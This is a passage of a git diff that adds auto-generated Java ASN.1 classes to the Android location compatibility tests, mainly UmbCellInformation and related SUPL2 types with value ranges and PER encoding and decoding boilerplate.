+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class sfnType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_sfnType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public sfnType() {
+ super();
+ setValueRange("0", "4095");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_sfnType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_sfnType != null) {
+ return ImmutableList.of(TAG_sfnType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new sfnType from encoded stream.
+ */
+ public static sfnType fromPerUnaligned(byte[] encodedBytes) {
+ sfnType result = new sfnType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new sfnType from encoded stream.
+ */
+ public static sfnType fromPerAligned(byte[] encodedBytes) {
+ sfnType result = new sfnType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "sfnType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class gpsReferenceTimeUncertaintyType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_gpsReferenceTimeUncertaintyType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public gpsReferenceTimeUncertaintyType() {
+ super();
+ setValueRange("0", "127");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_gpsReferenceTimeUncertaintyType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_gpsReferenceTimeUncertaintyType != null) {
+ return ImmutableList.of(TAG_gpsReferenceTimeUncertaintyType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new gpsReferenceTimeUncertaintyType from encoded stream.
+ */
+ public static gpsReferenceTimeUncertaintyType fromPerUnaligned(byte[] encodedBytes) {
+ gpsReferenceTimeUncertaintyType result = new gpsReferenceTimeUncertaintyType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new gpsReferenceTimeUncertaintyType from encoded stream.
+ */
+ public static gpsReferenceTimeUncertaintyType fromPerAligned(byte[] encodedBytes) {
+ gpsReferenceTimeUncertaintyType result = new gpsReferenceTimeUncertaintyType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "gpsReferenceTimeUncertaintyType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("UTRAN_GPSReferenceTimeResult = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/UmbCellInformation.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/UmbCellInformation.java
new file mode 100755
index 0000000..6cf6396
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/UmbCellInformation.java
@@ -0,0 +1,1154 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ver2_ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1BitString;
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class UmbCellInformation extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_UmbCellInformation
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public UmbCellInformation() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_UmbCellInformation;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_UmbCellInformation != null) {
+ return ImmutableList.of(TAG_UmbCellInformation);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new UmbCellInformation from encoded stream.
+ */
+ public static UmbCellInformation fromPerUnaligned(byte[] encodedBytes) {
+ UmbCellInformation result = new UmbCellInformation();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new UmbCellInformation from encoded stream.
+ */
+ public static UmbCellInformation fromPerAligned(byte[] encodedBytes) {
+ UmbCellInformation result = new UmbCellInformation();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private UmbCellInformation.refSECTORIDType refSECTORID_;
+ public UmbCellInformation.refSECTORIDType getRefSECTORID() {
+ return refSECTORID_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UmbCellInformation.refSECTORIDType
+ */
+ public void setRefSECTORID(Asn1Object value) {
+ this.refSECTORID_ = (UmbCellInformation.refSECTORIDType) value;
+ }
+ public UmbCellInformation.refSECTORIDType setRefSECTORIDToNewInstance() {
+ refSECTORID_ = new UmbCellInformation.refSECTORIDType();
+ return refSECTORID_;
+ }
+
+ private UmbCellInformation.refMCCType refMCC_;
+ public UmbCellInformation.refMCCType getRefMCC() {
+ return refMCC_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UmbCellInformation.refMCCType
+ */
+ public void setRefMCC(Asn1Object value) {
+ this.refMCC_ = (UmbCellInformation.refMCCType) value;
+ }
+ public UmbCellInformation.refMCCType setRefMCCToNewInstance() {
+ refMCC_ = new UmbCellInformation.refMCCType();
+ return refMCC_;
+ }
+
+ private UmbCellInformation.refMNCType refMNC_;
+ public UmbCellInformation.refMNCType getRefMNC() {
+ return refMNC_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UmbCellInformation.refMNCType
+ */
+ public void setRefMNC(Asn1Object value) {
+ this.refMNC_ = (UmbCellInformation.refMNCType) value;
+ }
+ public UmbCellInformation.refMNCType setRefMNCToNewInstance() {
+ refMNC_ = new UmbCellInformation.refMNCType();
+ return refMNC_;
+ }
+
+ private UmbCellInformation.refBASELATType refBASELAT_;
+ public UmbCellInformation.refBASELATType getRefBASELAT() {
+ return refBASELAT_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UmbCellInformation.refBASELATType
+ */
+ public void setRefBASELAT(Asn1Object value) {
+ this.refBASELAT_ = (UmbCellInformation.refBASELATType) value;
+ }
+ public UmbCellInformation.refBASELATType setRefBASELATToNewInstance() {
+ refBASELAT_ = new UmbCellInformation.refBASELATType();
+ return refBASELAT_;
+ }
+
+ private UmbCellInformation.reBASELONGType reBASELONG_;
+ public UmbCellInformation.reBASELONGType getReBASELONG() {
+ return reBASELONG_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UmbCellInformation.reBASELONGType
+ */
+ public void setReBASELONG(Asn1Object value) {
+ this.reBASELONG_ = (UmbCellInformation.reBASELONGType) value;
+ }
+ public UmbCellInformation.reBASELONGType setReBASELONGToNewInstance() {
+ reBASELONG_ = new UmbCellInformation.reBASELONGType();
+ return reBASELONG_;
+ }
+
+ private UmbCellInformation.refWeekNumberType refWeekNumber_;
+ public UmbCellInformation.refWeekNumberType getRefWeekNumber() {
+ return refWeekNumber_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UmbCellInformation.refWeekNumberType
+ */
+ public void setRefWeekNumber(Asn1Object value) {
+ this.refWeekNumber_ = (UmbCellInformation.refWeekNumberType) value;
+ }
+ public UmbCellInformation.refWeekNumberType setRefWeekNumberToNewInstance() {
+ refWeekNumber_ = new UmbCellInformation.refWeekNumberType();
+ return refWeekNumber_;
+ }
+
+ private UmbCellInformation.refSecondsType refSeconds_;
+ public UmbCellInformation.refSecondsType getRefSeconds() {
+ return refSeconds_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UmbCellInformation.refSecondsType
+ */
+ public void setRefSeconds(Asn1Object value) {
+ this.refSeconds_ = (UmbCellInformation.refSecondsType) value;
+ }
+ public UmbCellInformation.refSecondsType setRefSecondsToNewInstance() {
+ refSeconds_ = new UmbCellInformation.refSecondsType();
+ return refSeconds_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getRefSECTORID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRefSECTORID();
+ }
+
+ @Override public void setToNewInstance() {
+ setRefSECTORIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UmbCellInformation.refSECTORIDType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "refSECTORID : "
+ + getRefSECTORID().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getRefMCC() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRefMCC();
+ }
+
+ @Override public void setToNewInstance() {
+ setRefMCCToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UmbCellInformation.refMCCType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "refMCC : "
+ + getRefMCC().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getRefMNC() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRefMNC();
+ }
+
+ @Override public void setToNewInstance() {
+ setRefMNCToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UmbCellInformation.refMNCType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "refMNC : "
+ + getRefMNC().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getRefBASELAT() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRefBASELAT();
+ }
+
+ @Override public void setToNewInstance() {
+ setRefBASELATToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UmbCellInformation.refBASELATType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "refBASELAT : "
+ + getRefBASELAT().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getReBASELONG() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getReBASELONG();
+ }
+
+ @Override public void setToNewInstance() {
+ setReBASELONGToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UmbCellInformation.reBASELONGType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "reBASELONG : "
+ + getReBASELONG().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 5);
+
+ @Override public boolean isExplicitlySet() {
+ return getRefWeekNumber() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRefWeekNumber();
+ }
+
+ @Override public void setToNewInstance() {
+ setRefWeekNumberToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UmbCellInformation.refWeekNumberType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "refWeekNumber : "
+ + getRefWeekNumber().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 6);
+
+ @Override public boolean isExplicitlySet() {
+ return getRefSeconds() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRefSeconds();
+ }
+
+ @Override public void setToNewInstance() {
+ setRefSecondsToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UmbCellInformation.refSecondsType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "refSeconds : "
+ + getRefSeconds().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class refSECTORIDType extends Asn1BitString {
+ //
+
+ private static final Asn1Tag TAG_refSECTORIDType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public refSECTORIDType() {
+ super();
+ setMinSize(128);
+setMaxSize(128);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_refSECTORIDType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_refSECTORIDType != null) {
+ return ImmutableList.of(TAG_refSECTORIDType);
+ } else {
+ return Asn1BitString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new refSECTORIDType from encoded stream.
+ */
+ public static refSECTORIDType fromPerUnaligned(byte[] encodedBytes) {
+ refSECTORIDType result = new refSECTORIDType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new refSECTORIDType from encoded stream.
+ */
+ public static refSECTORIDType fromPerAligned(byte[] encodedBytes) {
+ refSECTORIDType result = new refSECTORIDType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "refSECTORIDType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class refMCCType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_refMCCType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public refMCCType() {
+ super();
+ setValueRange("0", "999");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_refMCCType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_refMCCType != null) {
+ return ImmutableList.of(TAG_refMCCType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new refMCCType from encoded stream.
+ */
+ public static refMCCType fromPerUnaligned(byte[] encodedBytes) {
+ refMCCType result = new refMCCType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new refMCCType from encoded stream.
+ */
+ public static refMCCType fromPerAligned(byte[] encodedBytes) {
+ refMCCType result = new refMCCType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "refMCCType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class refMNCType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_refMNCType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public refMNCType() {
+ super();
+ setValueRange("0", "999");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_refMNCType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_refMNCType != null) {
+ return ImmutableList.of(TAG_refMNCType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new refMNCType from encoded stream.
+ */
+ public static refMNCType fromPerUnaligned(byte[] encodedBytes) {
+ refMNCType result = new refMNCType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new refMNCType from encoded stream.
+ */
+ public static refMNCType fromPerAligned(byte[] encodedBytes) {
+ refMNCType result = new refMNCType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "refMNCType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class refBASELATType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_refBASELATType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public refBASELATType() {
+ super();
+ setValueRange("0", "4194303");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_refBASELATType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_refBASELATType != null) {
+ return ImmutableList.of(TAG_refBASELATType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new refBASELATType from encoded stream.
+ */
+ public static refBASELATType fromPerUnaligned(byte[] encodedBytes) {
+ refBASELATType result = new refBASELATType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new refBASELATType from encoded stream.
+ */
+ public static refBASELATType fromPerAligned(byte[] encodedBytes) {
+ refBASELATType result = new refBASELATType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "refBASELATType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class reBASELONGType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_reBASELONGType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public reBASELONGType() {
+ super();
+ setValueRange("0", "8388607");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_reBASELONGType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_reBASELONGType != null) {
+ return ImmutableList.of(TAG_reBASELONGType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new reBASELONGType from encoded stream.
+ */
+ public static reBASELONGType fromPerUnaligned(byte[] encodedBytes) {
+ reBASELONGType result = new reBASELONGType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new reBASELONGType from encoded stream.
+ */
+ public static reBASELONGType fromPerAligned(byte[] encodedBytes) {
+ reBASELONGType result = new reBASELONGType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "reBASELONGType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class refWeekNumberType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_refWeekNumberType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public refWeekNumberType() {
+ super();
+ setValueRange("0", "65535");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_refWeekNumberType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_refWeekNumberType != null) {
+ return ImmutableList.of(TAG_refWeekNumberType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new refWeekNumberType from encoded stream.
+ */
+ public static refWeekNumberType fromPerUnaligned(byte[] encodedBytes) {
+ refWeekNumberType result = new refWeekNumberType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new refWeekNumberType from encoded stream.
+ */
+ public static refWeekNumberType fromPerAligned(byte[] encodedBytes) {
+ refWeekNumberType result = new refWeekNumberType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "refWeekNumberType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class refSecondsType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_refSecondsType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public refSecondsType() {
+ super();
+ setValueRange("0", "4194303");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_refSecondsType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_refSecondsType != null) {
+ return ImmutableList.of(TAG_refSecondsType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new refSecondsType from encoded stream.
+ */
+ public static refSecondsType fromPerUnaligned(byte[] encodedBytes) {
+ refSecondsType result = new refSecondsType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new refSecondsType from encoded stream.
+ */
+ public static refSecondsType fromPerAligned(byte[] encodedBytes) {
+ refSecondsType result = new refSecondsType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
